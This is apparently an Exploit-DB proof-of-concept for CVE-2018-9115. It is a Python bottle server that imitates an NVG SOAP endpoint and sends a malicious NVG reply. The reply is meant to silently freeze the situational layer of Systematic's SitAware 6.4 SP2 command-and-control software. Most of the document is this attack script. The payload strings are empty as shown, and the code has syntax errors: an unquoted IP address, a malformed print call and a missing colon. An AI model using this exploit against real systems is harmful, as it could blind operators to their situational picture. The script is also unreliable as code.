# Exploit Title: SitAware NVG Denial of Service # Date: 03/31/2018 # Exploit Author: 2u53 # Vendor Homepage: https://systematic.com/defence/products/c2/sitaware/ # Version: 6.4 SP2 # Tested on: Windows Server 2012 R2 # CVE: CVE-2018-9115 # Remarks: PoC needs bottlypy: # https://bottlepy.org/docs/dev/ # https://raw.githubusercontent.com/bootlepy/bottle/master/bottle.py # Systematic's SitAware does not validate input from other sources suffenciently. Incoming information utilizing # the for example the NVG interface. The following PoC will freeze the Situational Layer of SitAware, which means # that the Situational Picture is no more updated. Unfortunately the user can not notice until # he tries to work with the situational layer. #!/bin/python from bottle import post, run, request, response LHOST = 127.0.0.1 # Local IP which the NVG server should use LPORT = 8080 # Local Port on which the NVG server should listen GET_CAPABILITIES = ''' ''' EVIL_NVG = ''' ''' @post('/nvg') def soap(): action = dict(request.headers.items()).get('Soapaction') action = action.replace('"', '') print('Incoming connection') response.content_type = 'text/xml;charset=utf-8' if action.endswith('nvg/GetCapabilities'): print('Sending capabilities to victim'...) return GET_CAPABILITIES print('Done! Waiting for NVG request...') elif action.endswith('nvg/GetNvg'): print('Sending evil NVG') return EVIL_NVG print('Done!') else print('Invalid request received') run(host=LHOST, port=LPORT)